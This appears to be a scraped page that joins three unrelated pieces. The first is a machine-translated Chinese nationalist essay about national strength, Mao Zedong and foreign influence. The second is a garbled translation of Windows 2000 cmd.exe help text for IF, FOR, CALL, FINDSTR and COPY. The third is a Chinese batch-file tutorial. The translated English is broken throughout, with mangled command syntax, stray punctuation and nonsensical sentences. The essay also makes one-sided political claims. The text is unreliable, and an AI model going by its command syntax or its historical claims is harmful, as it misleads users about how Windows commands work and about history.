biggest differences is that on the exotic alien way of thinking. .
A very peaceful coexistence, mutual non-aggression, thinking like an elephant, Rhinoceros, herbivores; a "survival of the fittest", the "fittest", thinking such as wolves, wild predators. So a person who is "we are the prisoners"; a person who is "we will prisoners." Chinese if you do not know these two fundamentally different ways of thinking, you never know how to deal with them, can't what "respect", what is the "look down", although not yet available for peaceful coexistence. State relations in the so-called "respect" is not hastily rushed in to battle with you directly, but the insurance you are not allowed to be spun around banner haha, from time to time also intentionally or unintentionally kick your foot exploratory test to see if you have not so . If you fall asleep or become their own virtual, that "respect" becomes despised. The so-called "contempt" is at worst give you casually slap, and then say you boy spanking; weight put the bite to swallow your bones are not left residue. Respect and contempt is never absolute, unconditional, once and for all, but only relative, conditional, temporary, with the balance of power varies.You and where strong and where people respect you, strong respect, strong respect, always strong at constantly respected. Similarly, where you where weak people look down on you, look down on weak everywhere everywhere, from 1 to 1, despise the weak weak always looked down upon. The so-called strong, not only means there is no more powerful, that no strong temperament. Want to be strong, you must first have the strong temperament. There is no strong temperament "strong man" belongs to only, sooner or later decline. To despise the slightest strong temperament of the weak national most people looked down upon. This is a national not only now, but never the strong. One does not now, no future, no hope how could you not be completely despise? What is a strong temperament? As a nation, at least has three articles: 1. Spirit is strong; 2. Know how to protect themselves; triplet. To the same line. .
Here the material is the basis of, the spirit is. No matter, people cannot survive; no spirit, people do not know. There is no human creativity and needs, only substances, not wealth. The material wealth of creativity and absorptive capacity and man's spiritual wealth are closely related, spiritual wealth more foot, material wealth of creativity and absorption capacity, on the contrary, the stronger and more durable weaker and more short. Material wealth is dead, passive, only shows past and present; spiritual wealth is alive and active, able to dominate the future. "Hosting", and people have the spirit to do. Weak material of a nation is not terrible, because this situation can work hard to change; if mentally weak that it was terrible because it means that the nation lost in the future. Of course, do not necessarily think of things, but the unthinkable can not do what is certain. Mentally strong and the weak are not easy to determine: Whenever something happens, the weak ask for help, the powerful Motoki; in the face of adversity, blame the weak, the strong encouragement have.Take a look at Taiwan KMT describes the history of the documentary the war, he failed, Hangchow, besides he is especially poor people: strange, strange Manchu China left a mess to blaming the US aid too little, blame the Communist Party did not obey strange Japanese too powerful ... to his defeat, was "full of crazy bitter tears".
Relying on this mental state, the KMT lost the Chinese mainland is not a little injustice. So a good lesson not learned, no wonder Gaode last point now foothold at risk. 160 years since the Opium War. The first 80 years (1840-1921) Chinese mentally on the defensive, the material also in decline, from the "heavenly kingdom" to advance toward a decline bankruptcy; mentally from the arrogant, blind optimism, step by step toward total collapse.After 80 years (1921-2003) with the Communist Party of China, Mao Zedong, Mao Zedong thought, in the spirit of complete that material from decline to revitalization. Chinese first raids all blind inferiority conceited error mentality: "our nation with their enemy's spirit, on the basis of self-reliance in 1945, there are people who are determined to stand among the Nations of the world. "" The spirit of the indomitable army with its overwhelming enemy, but never by the enemy the yield. Hardship in any occasion, as long as a person, that person should go on fighting. "" Despise the enemy strategically, tactically the enemy "." Strategic pit one against ten, with ten as a tactical "... ... mentally strong step by step led to a strong material. Spark into a new China a poverty-stricken in China into "can scoop on" the world nuclear power. ancients said, "a word prosper" This is an example. and of the Soviet Union is quite a strong physical force, once the spirit of self-denial, "changed, but so" total Westernization, instant collapse. "In a word mourning state," This is an example。 Spirit and material this? spirit crashes, material strength strong? should become strong in spirit, first of all must be strong. At all times and all powers not a passive gravitate to sleepwalk prosperous, are the "go". Not the "fen" not "fat" and "figure" not "powerful". Map mentally and even strong courage, that in addition to waiting for someone else to pick up what was done for the Dutch used glass beads $ 24, such as the hands from the Indians had New York Manhattan island. On this first Westerners think: this group is impotent fool. The second is: If to groan a Manhattan Island, why not put the entire American continent over fishing? Chinese curse greedy idiom is "insatiable" in a similar idiom in English is "an inch Mile" (Give an inch, take a mile. 1 mile = 63,360 inches). From the greed of the Chinese people are still inexperienced, ambitious expansion times felt bad enough, which like others, a rising appetite is 60000 San Qian times, Chinese idioms are not enough. The fundamental interests you to a point, people must be prepared several times soaring ambition.Do not know the fundamental interests of the nation, not knowing how to protect your home, do not know how to sustain basic awareness, this is typical of not knowing how to protect themselves. Such a nation not only were looked down upon, and must invite. Protect yourself against anyone is self protection, protection of their own bank account password is self protection, protect your head also protect themselves. In other words, to protect themselves with sanchong: safety, material and spiritual. Conventional war is a "moving troops and horses, forage first" modern war is a "guns did not move, e-first", and a nation of self-protection is a "material did not move, the spirit first." Mentally protection, triple the next two to be around the next dizzy, physical protection also how long? In order to protect themselves in spirit, must first know what's what, know what is treasure and what is garbage. Bullied by foreign powers in China 100 years invincible hand, only ran into after Mao Zedong and Mao Zedong Thought and helpless. .
Mao's China weight some Chinese people do not know trial with Mao Zedong had foreign competitors is clear. Now some Chinese people consider Mao Zedong and Mao Ze-Dong thought when the garbage, the people of the story when the baby; libel defamation of Mao Zedong, Li Hongzhang, Yuan Shi-kai's exciting ... see the black sheep of the family, the glass when buying diamonds, diamond when glass sold; the hero when **, the prostitute when hero worship, they of course elated, appetite. The Korean war in Mao Zedong's living Americans forget when polished, have become a "forgotten war". The beginning of China Mao Zedong was negative, people began to think of the Korean War came and repaired a "Korean War Memorial." The more you promote "reflection" Korean War, the Korean people commemorating the more exciting. You ask someone "cool down", people immediately bombed your embassy. "Reflection," the Korean War, no Mao, equal to the public to let everybody know: We did not dare to resist, and you Do not harm the "China shock" disease, and Do not attack China as unthinkable nightmare, and rest assured to conquer it. All in all, the people of China issued an invitation to conquer.The self-defeating behavior sit means to protect themselves, willing to soft.
In short, the Chinese people, the reality of the problem is not "soft knife" there does not exist, but how to identify, how to get rid of the problem. Some of China's "elite" are very keen to "all with international standards", and unconditionally, without reservation. Beggars street is nothing to what other people give, Lao Zhao eat whatever. Housewives took to the streets smart pick only useful, affordable only to pick, as long as genuine and wants to bargain. Is also open to introduce the Chinese should learn what? "With international standards", some of you want to access will then not on.For example, extradition of corruption, don't look at some of the national day to condemn China corruption, a temple, but from jieruchou China ran a corruption committed to receive one, you have to extradition, it is not meant to protect the corruption committed by "human rights", is a drag-and-place litigation, for several years, the corruption committed with the ill-gotten gains of the past all turn him in legal fees. And oil drain their fishing, meaning no extradition is not big. Moreover, the area of Justice is likely to become the West against China's next ACE "soft knife." You want to blindly "Connection", and then to actually take to become a success will be thrown on the people to their government the court dock, find the great people of the sky lord justice, that'll put people in China's sovereignty court hands. While others are engaged in the case law, to open an example, a method equivalent to legislation, from whatever Emaoagou can be invoked in this case what the Chinese told the Chinese government to move to a foreign court. Thus to say the least, attorney's fees that a light is enough to bankrupt you, no need to stage any duties that a set of non-tariff deficit in the balance. This "soft knife" What is life? . .
The second opium war in Russia under the excuse of "mediation" and "active" and the "bin-the threat is not difficult to award-winning Hing" bingbuxueren, cut China 144 000 km2 territory. The Sino-Japanese war before the Manchu keen to invite foreign "mediation" and not keen on preparing for the results. 9. at Chiang Kai-shek ordered a "absolutely no resistance," one of the reasons is that "if not a gun, then it would be absolute proof of the Chinese people's right, the Japanese invasion, the international community would have stood at his side, and condemn Japan." As a result the entire Northeast simply "League" on Japanese paper without any constraint of a condemnation of the Declaration. 8. A triple pine Shanghai War, Chiang Kai-shek to the short strike length, the main focus of the Chinese armed forces to the Japanese in the most favorable place to play recklessly consumed firepower advantage, the main purpose is not to military needs, but would like to meet "international mediation." Results casualties, never led, then the Nanjing Massacre. Chiang Kai-shek and seeks to defeat the Americans in Japan, he was the Soviet Union take on China's sovereignty in Yalta done deal. Chiang Kai-shek not overturn the deal, it does not directly recognize the independence of Outer Mongolia, it did little tricks wise to Outer Mongolia, "national self-determination" was the Soviet Union things along, took him to the scrutineers.No-compromise "sell one, and also to help count tickets." Communists have their own army accepts the Comintern sent in command of the foreign experts, as a result of a failure then defeated the army of thousands from all of a sudden become a Tigris is less than three million, almost completely annihilated. Look through the experience of the Chinese, the Chinese because of the dependence on foreign or blindly relied on foreign and eat more often than not they lose the direct use of force to fight. Take a look at the Soviet Union's "shock therapy", the conclusion cannot blindly superstitious depend on foreign countries. "International standards" must be based on the analysis of the specific circumstances, can not be without, unconditional and no prevention. Advocating unconditionally "with international standards", itself a bit "soft knife" flavor. .
ver 。.
Microsoft Windows 2000 [Version 5. .00. .2195]. .
cmd /? 。.
Start Windows 2000 command interpreter to a new instance. .
CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]。.
[[/ S] [/ C | / K] string]. .
/C command executes the specified string, and then disconnect.
/ K specified command string, but the implementation of reservations. .
/S/c or/K after modifying the string handling (see below).
/ Q Close to respond. .
/D deactivated from the registry to perform AutoRun command (see below).
/ A to internal pipe or file command to output as ANSI. .
/U to internal pipe or a file command output into a Unicode.
/ T: fg set the foreground / background color (for more information, see COLOR /?). .
/E command extensions enabled: ON (see below).
/ E: OFF Disable command extensions (see below). .
/F: ON enables file and directory name completion character (see below).
/ F: OFF Disable file and directory name completion characters (see below). .
/V: c as delimiter ON the start delay environment variable expansion. Such as:/V: ON going.
Allowed! Var! In the implementation allows! Var! Extended variable var. var syntax. .
When you expand a variable in the input, and this in a FOR loop is different.
/ V: OFF Disable delayed environment expansion. .
Please note that if the string has quotation marks, you can accept the command delimiter to separate it from the ' & ' &.
Multiple commands. And, due to compatibility reasons, / X and / E: ON the same, / Y and. .
/E: OFF the same, and/R is the same as with/C. Ignore any other command options.
If you specify the / C or / K, the command option after the rest of the command line as command line. .
Reason; in this case, use the following logical quotation mark character (""):.
1. . If all the following conditions, then the command line on the quote character will be. .
Reservations:.
- Without the / S command option. .
– For a whole two quote characters.
- Between the two characters without special characters in quotation marks, special characters in the following. .
一个: <>()@^|。.
- Between the two quotes at least one blank character character. .
– Between the two quote characters have at least one of the name of the executable file.
2. . Otherwise, the old way is to see whether the first character is a quotation mark character, if. .
Is that the character at the beginning of the pit and deletes on the command line, the last quote character.
Retained after the last quote character of text. .
If the/D at the command line is not specified, when the .EXE to start CMD., it will be looking for.
The following REG_SZ / REG_EXPAND_SZ registry variables. If one or. .
Both are present, the two variables will be executed.
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Command Processor \ AutoRun. .
And/or.
HKEY_CURRENT_USER \ Software \ Microsoft \ Command Processor \ AutoRun. .
Command extensions are enabled by default. You can also use the/E: OFF to a..
Disable a specific call to the extension. You can machine and / or user logon session on. .
Enable or disable CMD. extension of .EXE, all calls that you want to use by setting.
REGEDT32. . EXE registry in one or two REG_DWORD Value:. .
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions。.
And / or. .
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions。.
To 0 × 1 or 0 × 0. User-specific settings take precedence over the machine setting. Command line. .
Command options take precedence over the registry settings.
Command-line expansion includes the following command changes and / or add:. .
DEL or ERASE.
COLOR. .
CHDIR or CD.
MD or MKDIR. .
PROMPT。.
PUSHD. .
POPD。.
SET. .
SETLOCAL。.
ENDLOCAL. .
IF。.
FOR. .
CALL。.
SHIFT. .
GOTO。.
START (also includes changes to external command call). .
ASSOC。.
FTYPE. .
For more information, type HELP command name.
Delayed environment variable expansion is not enabled by default. You can use the / V: ON or / V: OFF. .
Command options, for an .EXE CMD. calls and enable or disable delayed environment variable expansion.
You can machine and / or user logon session to enable or disable CMD. . EXE for all. .
Call completion, through the settings using REGEDT32. .exe in the registry.
One or two REG_DWORD Value:. .
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion。.
And / or. .
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion。.
To 0 × 1 or 0 × 0. User-specific settings take precedence over the machine setting. Command-line command options. .
Take precedence over the registry settings.
If the delayed environment variable expansion is enabled, an exclamation point character in execution time, is used. .
Instead of a numerical value of an environment variable.
File and directory name completion is not enabled by default. You can use the / F: ON or / F: OFF. .
Command options, for an .EXE CMD. calls and enable or disable filename completion. You can.
In the machine and / or user logon session on the enable or disable CMD. . EXE all the calls. .
Complete, by setting use REGEDT32. .EXE's registry of one or two.
REG_DWORD Value:. .
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar。.
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Command Processor \ PathCompletionChar. .
And/or.
HKEY_CURRENT_USER \ Software \ Microsoft \ Command Processor \ CompletionChar. .
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar。.
By a control character hexadecimal value as a specific parameter (eg, 0 × 4 is..
Ctrl-D, 0 × 6 is Ctrl-F). User-specific settings take precedence over the machine settings. The command line.
Command options override registry settings. .
If the finish is the/f option enabled ON command: the two control characters that you want to use is: directory name.
Word finish Ctrl-D, file name completion using Ctrl-F. To disable one of the registry. .
Characters, with spaces (0 × 20) as it is not a valid control character.
If you type one of the two control characters, complete is called. Complete feature. .
Path character-length to the left of the cursor, if there are no wildcard characters, use the wildcard is attached.
To the left, and the establishment of a list of matching paths. Then, display the first line of the road. .
Diameter. If you do not have to match the path, the beep, does not affect the display. After that.
Repeated by the same control character will cycle through the list of line paths. The Shift key. .
With the control character pressed down through the list. If the row has been appointed.
He edited, and press the control character again, save a list of precisely the path will be discarded. .
New will be generated. If between file and directory name completion occurs command options.
The same phenomenon. The only two control characters is the difference between the completion of the document character line. .
File and directory names, while the directory completion character only in line with the directory name. If the file is complete.
Be used for built-in directory command (CD, MD or RD), will use the directory to complete. .
Will match the path in quotation marks, enclose the complete code can correctly handle contains spaces.
Or other special characters in file names. Also, if the backup, and then be called from the line. .
File completed, complete callers is located to the right of the text cursor is discarded.
rem /?. .
In a batch file or CONFIG .SYS Apparantly callouts. or description.
REM [comment]. .
if /? 。.
In terms of dealing with the implementation of approved programs. .
IF [NOT] ERRORLEVEL number command。.
IF [NOT] string1 == string2 command. .
IF [NOT] EXIST filename command。.
NOT only condition is false, the specified circumstances, Windows 2000 only. .
Should execute the command.
ERRORLEVEL number if the last run of the program returns equal to or greater than one. .
The exit code for the specified number, the specified condition is true.
string1 == string2 if the specified text strings match, specify a true. .
Condition.
EXIST filename if the specified file name exists, specify a true condition. .
Command if the condition specifies the command to execute. If you specify.
Conditions are FALSE, ELSE command with the command after, ELSE. .
Command in the ELSE keyword after the execution of the order.
IF ELSE clause must occur on the same line after. For example:. .
IF EXIST filename。. (。.
del filename. .
) ELSE (。.
echo filename. . Missing. .
)。.
Because the del command needs to terminate with a new line, the following clause will not be effective:. .
IF EXIST filename。. del filename。. ELSE echo filename。. missing。.
As the ELSE command must end with the IF command in the same line, the following clause also. .
Not valid:.
IF EXIST filename. . Del filename. .
ELSE echo filename。. missing。.
If you are on the same line, the following clause is valid:. .
IF EXIST filename。. (del filename。.) ELSE echo filename。. missing。.
If command extensions are enabled, IF will be the following changes:. .
IF [/I] string1 compare-op string2 command。.
IF CMDEXTVERSION number command. .
IF DEFINED variable command。.
Among them, the comparison operators can be:. .
EQU-equals.
NEQ - not equal. .
LSS – less than.
LEQ - less than or equal to. .
GTR – greater than.
GEQ - greater than or equal to. .
And/I command option; if the command option is specified, the description you want to make string comparisons without distinction.
Case. / I command option can be used IF the string1 == string2 of the form. These. .
Comparisons are common; for, if string1 and string2 are digital.
Composition, the string will be converted into digital, for comparison. .
The CMDEXTVERSION conditional ERRORLEVEL, apart from it.
Is the extension with the command associated with the internal version number of the comparison. The first version. .
Is 1. Each time the command extensions have considerable enhancements will add a version number.
Command extension is disabled, CMDEXTVERSION condition is not true. .
If you have already defined the environment variable, DEFINED the role of conditions, with EXISTS.
In addition it has won an environment variable, return result is true. .
If there are no known as ERRORLEVEL environment variable% ERRORLEVEL%.
Will be expanded to the current value of the string breaks ERROLEVEL expression; Otherwise, you will get. .
Its numeric value. After running the program, the following statement illustrates ERRORLEVEL usage:.
goto answer% ERRORLEVEL%. .
:answer0。.
echo Program had return code 0. .
:answer1。.
echo Program had return code 1. .
You can also use the above comparison:.
IF% ERRORLEVEL% LEQ 1 goto okay. .
If no name CMDCMDLINE environment variable,% CMDCMDLINE%.
In the CMD. . EXE extension before any treatment was passed to CMD. . EXE original. .
The command line; otherwise, you will get its value.
If there is no known CMDEXTVERSION environment variable. .
% Will be expanded to CMDEXTVERSION% CMDEXTVERSION current values.
Character string expression; Otherwise, you will get its value. .
goto /? 。.
Will cmd. . Exe directed to the batch process with a tag line. .
GOTO label。.
Batch process for the specified label text label string. .
Labels must be on a separate line, and a colon.
If command extensions are enabled, GOTO will change as follows:. .
GOTO command now accepts target tags: EOF label, transfers control to the current.
The end of batch script file. Do not define the exit batch script file, this is a easy. .
Approach. This feature can make a useful extension of the CALL command, type a description.
CALL /?. .
for /? 。.
A group of files in each file to execute a specific command. .
FOR %variable IN (set) DO command [command-parameters]。.
% Variable specifies the parameters can be replaced. .
(Set) specifies that one or a group of files. You can use a wildcard character.
command specifies the command to execute on each file. .
command-parameters。.
On the parameters specified by a specific command. .
In the batch file to use FOR the command, the specified variable use%% variable.
Rather than using% variable. Variable names are case-sensitive, so% i is different from% I. .
If command extensions are enabled, the following additional formats will be FOR the command.
Support:. .
FOR /D %variable IN (set) DO command [command-parameters]。.
If set contains wildcards, then specify the directory name match, but not with the file. .
Name matching.
FOR / R [[drive:] path]% variable IN (set) DO command [command-parameters]. .
Check-in [drive:] path as the root of the directory tree, and links to each directory.
FOR statement. If the / R does not have any specified directory, use Current. .
Directory. If you set only a single dot (.) Characters, then enumerates the directory tree.
FOR / L% variable IN (start, step, end) DO command [command-parameters]. .
The set that increments from start to finish of a sequence of numbers.
Therefore, (1,1,5) will have a sequence of 12 345, (5, -1,1) would generate. .
Sequence (5 4 3 2 1).
FOR / F ["options"]% variable IN (file-set) DO command [command-parameters]. .
FOR /F ["options"] %variable IN (“string”) DO command [command-parameters]。.
FOR / F ["options"]% variable IN ('command') DO command [command-parameters]. .
Or, if usebackq option:.
FOR / F ["options"]% variable IN (file-set) DO command [command-parameters]. .
FOR /F ["options"] %variable IN (“string”) DO command [command-parameters]。.
FOR / F ["options"]% variable IN ('command') DO command [command-parameters]. .
Filenameset as one or more file names. Continue to the filenameset.
Before the next file, each file have been opened, read and processed. .
Treatment includes read file, breaks it into the text line by line, and then adds each line.
Resolves to zero or more symbols. Then have to find the value of the symbol string variable. .
Call the For loop. By default, every file/F through each row separately.
The first blank symbol. Skip blank lines. You can specify the optional "options". .
Parameter to override the default parsing operation. This is a quoted string containing one or more.
Keywords to specify different parsing options. These keywords are:. .
Eol = c – means an end of line comment character (just one).
skip = n - refers to the beginning of the document ignores the number of lines. .
Delims = xxx-delimiter set. This replaces the spaces and tabs.
The default delimiter set. .
Tokens = x, y, m-n – refers to each row of which symbol is passed to each iteration.
The for itself. This will cause additional variable names of the distribution. mn. .
Format to a range. By nth symbol specifies the mth. If a..
Symbols in the string the last character asterisk. .
Then an additional variable in the last symbol after parsing.
Distribution and accept the line of text retention. .
Specifies the new syntax usebackq – is already in use in the following cases:.
A post as a command string and a single quotation mark. .
The quotation-mark character is a literal string command is allowed in filenameset.
Expand the use of double quotes from the file name. .
Some examples may help:.
FOR / F "eol =; tokens = 2,3 * delims =,"% i in (myfile.. Txt) do @ echo% i% j% k. .
Analyzes the myfile. each line in the .txt, ignoring those that begin with a semicolon, the row.
Each line in the second and third symbols passed to the body for procedures; by commas and / or. .
Space delimiter. Please note that this procedure of for statement references% I..
Obtain a second symbol, reference% j to get the third symbol, reference% k. .
To obtain the third symbol after the symbol of all remaining. For files with spaces.
Name, you need to use double quotes to enclose the file name. In order to use this way to. .
Use double quotes, you will also need to use the usebackq option, otherwise, the double quotes will be.
Is understood as defining a string to be analyzed. .
% I specifically for statements in the description,% j and k through.%.
tokens = option specifically be described. You can use tokens = line. .
Specify up to 26 symbols, as long as you don't try to illustrate one higher than the letter ' z ' or.
'Z' variables. Remember, FOR variables are single-case, is common; and,. .
At the same time, there can be no more than 52 were in use.
You can also use the adjacent string FOR / F parsing logic; approach is. .
Enclose the filenameset between the parentheses. In this way, the characters.
String will be treated as a file in a single input line. .
Finally, you can use the FOR/F command to parse the output of a command. Approach is.
Filenameset between brackets into a back quoted string. The string will be. .
Be treated as a command line that is passed to a child, the CMD. output .EXE was caught in..
Memory, and used as document analysis. Therefore, the following example:. .
FOR /F “usebackq delims==” %i IN (`set`) DO @echo %i。.
Will enumerate the current environment, an environment variable name. .
In addition, the replacement FOR variable references have been enhanced. You can now use the following.
Options syntax:. .
~ I – delete any quotation marks (""), to expand% I..
% ~ FI -% I would be expanded to a fully qualified path name. .
% ~ DI-only% I expanded to a drive letter.
% ~ PI -% I will only expand to a path. .
% ~% NI-I only to a file name extension.
% ~ XI -% I will only expand to a file extension. .
% ~ SI – expanded path contains short names only.
% ~ AI - the% I to file attributes expanded. .
% ~% TI – I expanded to date/time of file.
% ~ ZI -% I would be expanded to the size of the file. .
% ~ $ PATH: I – find listed in the path environment variable to the directory and I will be%..
To find the first fully qualified name. If the environment variable name. .
Is not defined or the file is not found, this key combination will expand to.
Empty string. .
You can combine multiple modifiers to get results:.
% ~ DpI -% I will only expand to a drive letter and path. .
% ~ NxI-I only% to an expansion of the file name and extension.
% ~ FsI -% I will only expand to a full path name with short names. .
% ~ Dp $ PATH: I – find listed in the path environment variable to the directory and I will be%..
To find the first drive letter and path. .
% ~ FtzaI – will be extended to similar I% output DIR of the lines.
In the above example,% I and PATH can be replaced by other valid values. % ~ Syntax. .
Use a valid FOR variable name terminates. Select similar% uppercase variable names I. ..
More readable, but also to avoid the combination of keys regardless of case mix. .
shift /? 。.
Batch file to change the location of replaceable parameters. .
SHIFT [/n]。.
If command extensions are enabled, SHIFT command supports / n command-option; the command option to tell. .
Command from the nth argument began to shift; n between zero and eight. For example:.
SHIFT / 2. .
Will shift to% 3% 2% 3% 4 shift, and so on; and does not affect%0 and% 1.
call /?. .
Called from a batch program from another batch program.
CALL [drive:] [path] filename [batch-parameters]. .
Batch-parameters Specifies the batch program is needed for the command line information.
If command extensions are enabled, CALL will change as follows:. .
CALL command now labels as the target of the CALL accept. Syntax is:.
CALL: label arguments. .
A new batch file context by the specified parameters, the control is created in a volume label is specified.
After the transfer to the statement. You must reach the end of batch script file twice to "exit" twice. .
For the first time at the end of the file, the control returns to the statement immediately after the CALL. The second time.
Will exit the batch script. Type GOTO /?, See GOTO: EOF extension description. .
This description allows you to return from a batch script.
In addition, the batch script text parameter reference (% 0,% 1, etc.) has the following changes:. .
Batch script in% * pointed out that all the parameters (such as% 1% 2% 3% 4% 5 ...).
Batch parameters (% n) replacement has been increased. You can use the following syntax:. .
% ~ 1 – delete the quotation marks (""), the expansion of% 1.
% ~ F1 -% 1 expanded to a fully qualified path name. .
% ~ D1 – only the%1 to a drive letter.
% ~ P1 - only the% 1 extension to a path. .
% ~ N1 – only the%1 to a file name.
% ~ X1 - only the% 1 extension to a file extension. .
% ~ S1 – expanded path contains short names means.
% ~ A1 - will expand% 1 to file attributes. .
% ~ T1-% 1 to date/time of file.
% ~ Z1 - the% 1 extension to the file size. .
% ~ $ PATH: 1 – find listed in the PATH environment variable to the directory and the% 1.
Expansion to find the first fully qualified name. If the environment. .
The name of the variable is not defined or the file is not found, this key combination will.
Expanded to an empty string. .
Can be combined to obtain the character: multiple results.
% ~ Dp1 - only the% 1 extension to the drive letter and path. .
% ~ Nx1-only expands%1 to a file name and extension.
% ~ Dp $ PATH: 1 - listed in the PATH environment variable in the directory to find% 1. .
And extended to found the first file's drive letter and paths.
% ~ Ftza1 - will be extended to similar DIR% 1 output line. .
In the example above,% 1, and the PATH can be other valid values.
% ~ Syntax is terminated by a valid argument number. %% * Revised operator can not follow. .
Use.
type /?. .
Displays the contents of a text file.
TYPE [drive:] [path] filename. .
find /? 。.
In the file search string. .
FIND [/V] [/C] [/N] [/I] “string” [[drive:][path]filename[ 。.]]。.
/ V show all the line does not contain the specified string. .
/C displays only the number of rows that contain the string.
/ N Show line number. .
/I ignore the search string is case-sensitive.
"String" specifies the text to search for strings. .
[drive:] [path]filename。.
To search for the file specified. .
If no path is specified, the type of FIND or search by another command produces text.
findstr /?. .
Search for a string in a file.
FINDSTR [/ B] [/ E] [/ L] [/ R] [/ S] [/ I] [/ X] [/ V] [/ N] [/ M] [/ O] [/ F: file ]. .
[/C:string] [/G:file] [/D:dir list] [/A:color attributes]。.
[Strings] [[drive:] [path] filename [. .]]. .
Start/B line pair mode..
/ E in line at the end of pairing mode. .
/L by Word using a search string.
/ R as a general expression of the search string to use. .
/S in the current directory and all subdirectories in the search.
Matching documents. .
/I Specifies that the search is not case sensitive.
/ X print perfectly matched line. .
/V print only lines that do not contain a match.
/ N in the matching of each line to print lines. .
/M if the file contains a match, just print the filename.
/ O line before each match offset printing characters. .
/P ignore non-printable characters of the file.
/ A: attr specifies a hexadecimal color properties. See "color /?". .
/F: file read from the specified file in the file list (/on behalf of the console).
/ C: string using the specified string as the text search string. .
/G: file from the specified file for the search string. (/On behalf of the console).
/ D: dir Search a semicolon delimited list of directories for the. .
Strings of text you want to find.
[Drive:] [path] filename. .
Specifies the file you want to find.
Unless the parameters / C prefix, separated by spaces the search string. .
For example: "FINDSTR" hello there ".y" x. in the file x. discover the ".y" or hello.
"There". 'FINDSTR / C: "hello there" x. . Y 'file x. . Y looking. .
“hello there”。.
General expression quick reference:. .
Wildcard: any character.
* Repeat: previous character or class appear zero or more times. .
^ Row position: beginning of line.
$ Line position: end of the line. .
[Class] character class: any character in the character set.
[^ Class] complement character types: any is not in character set. .
[X-y]: in the specified range of characters.
\ X Escape: use of metacharacter x of the text. .
\。.
xyz\>Word position: end of the word. .
For common expressions in the FINDSTR details, please see the online command reference.
copy /?. .
Copies one or more files to another location.
COPY [/ V] [/ N] [/ Y | /-Y] [/ Z] [/ A | / B] source [/ A | / B]. .
[+ source [/A | /B] [+ 。.]] [destination [/A | /B]]。.
source specifies the file to be copied. .
/A indicates an ASCII text file.
/ B represents a binary file. .
Destination directory for new files specified and/or the name of the file.
/ V Verify that the new file is written correctly. .
/N when you copy a name with non-8dot3 file.
If possible, use short file names. .
/Y Suppresses prompting to confirm you want to overwrite.
An existing catalog file. .
/-Y causing prompts to confirm that you want to overwrite a..
Existing target file. .
/Z restart mode replication networked files.
Command option / Y can be pre-set environment variables COPYCMD. .
This may be/-Y on the command line. Unless the COPY.
Command in a batch file script execution, the default should be. .
Prompt when overwriting.
To attach files, specify a target file, the source specified. .
A number of files (using wildcards or file1 + file2 + file3 format).
BAT batch file under win2k use. .
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat
######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________
######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT
_____________________________________________________________________________
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文件到临时文件目录里面.这样便于当前目录整洁.
对有空格的参数. 你应该学会使用双引号(“”) 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 Program Files 。.
A 2,164 byte file. .
1 directory 1,505,997,824 bytes available.
C: \> cd pro *. .
C:\Program Files> 。.
C: \>. .
C:\>cd ”Program Files” 。.
C: \ Program Files>. .
###################################################################### 。.
3. . Built-in special symbols (the middle avoiding the actual use). .
###################################################################### 。.
Microsoft, which built the following characters can not create the file name in the middle of use. .
con nul aux \ / | || && ^ > < * 。. *=""> * 。.>
You can use most characters as variable values, including white space. . If you use the special characters <,>, |, &, or ^, you must precede them with the escape character (^) or quotation marks. .If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value。. Consider the following examples: 。.
(Effect: either you use ^ as the leading character in the.. Or just only use double quotation marks "" a). .
